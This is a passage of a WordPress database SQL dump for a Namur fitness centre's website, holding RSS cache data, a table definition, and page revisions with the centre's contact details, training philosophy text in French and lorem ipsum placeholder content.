Solutions.\&quot;;}s:9:\&quot;textinput\&quot;;a:0:{}s:5:\&quot;image\&quot;;a:0:{}s:9:\&quot;feed_type\&quot;;s:3:\&quot;RSS\&quot;;s:12:\&quot;feed_version\&quot;;s:3:\&quot;2.0\&quot;;s:5:\&quot;stack\&quot;;a:0:{}s:9:\&quot;inchannel\&quot;;b:0;s:6:\&quot;initem\&quot;;b:0;s:9:\&quot;incontent\&quot;;b:0;s:11:\&quot;intextinput\&quot;;b:0;s:7:\&quot;inimage\&quot;;b:0;s:13:\&quot;current_field\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;current_namespace\&quot;;b:0;s:19:\&quot;_CONTENT_CONSTRUCTS\&quot;;a:6:{i:0;s:7:\&quot;content\&quot;;i:1;s:7:\&quot;summary\&quot;;i:2;s:4:\&quot;info\&quot;;i:3;s:5:\&quot;title\&quot;;i:4;s:7:\&quot;tagline\&quot;;i:5;s:9:\&quot;copyright\&quot;;}s:4:\&quot;etag\&quot;;s:27:\&quot;C+5y3tc/ExO1xv0o4MD8xc+bKYw\&quot;;s:13:\&quot;last_modified\&quot;;s:29:\&quot;Wed, 19 Jul 2017 13:12:10 GMT\&quot;;}', 'no');
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-- --------------------------------------------------------

--
-- Structure de la table `wp_postmeta`
--

CREATE TABLE `wp_postmeta` (
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  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `wp_postmeta`
--

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(1, 1, '2013-05-23 18:04:49', '2013-05-23 18:04:49', 'Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!', 'Hello world!', '', 'publish', 'open', 'open', '', 'hello-world', '', '', '2013-05-23 18:04:49', '2013-05-23 18:04:49', '', 0, 'http://www.crosstrainingcenter.be/?p=1', 0, 'post', '', 0),
(328, 1, '2013-07-10 15:47:50', '2013-07-10 15:47:50', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-10 15:47:50', '2013-07-10 15:47:50', '', 9, 'http://www.crosstrainingcenter.be/9-revision-19/', 0, 'revision', '', 0),
(5, 1, '2013-05-23 18:12:51', '2013-05-23 18:12:51', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&amp;nbsp;&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'publish', 'closed', 'open', '', 'notre-philosophie', '', '', '2013-11-04 17:38:55', '2013-11-04 17:38:55', '', 0, 'http://www.crosstrainingcenter.be/?page_id=5', 0, 'page', '', 0),
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(358, 1, '2013-11-04 17:18:57', '2013-11-04 17:18:57', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&amp;nbsp;&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-11-04 17:18:57', '2013-11-04 17:18:57', '', 5, 'http://www.crosstrainingcenter.be/5-revision-v1/', 0, 'revision', '', 0),
(36, 1, '2013-06-13 16:24:45', '2013-06-13 16:24:45', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;PREVENIR&lt;/b&gt; – &lt;b&gt;AMELIORER&lt;/b&gt; – &lt;b&gt;RECUPERER&lt;/b&gt;.&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-13 16:24:45', '2013-06-13 16:24:45', '', 5, 'http://www.crosstrainingcenter.be/?p=36', 0, 'revision', '', 0),
(37, 1, '2013-05-24 14:36:30', '2013-05-24 14:36:30', '&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 11, 'http://www.crosstrainingcenter.be/?p=37', 0, 'revision', '', 0),
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Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-23 18:11:16', '2013-05-23 18:11:16', '', 5, 'http://www.crosstrainingcenter.be/?p=8', 0, 'revision', '', 0),
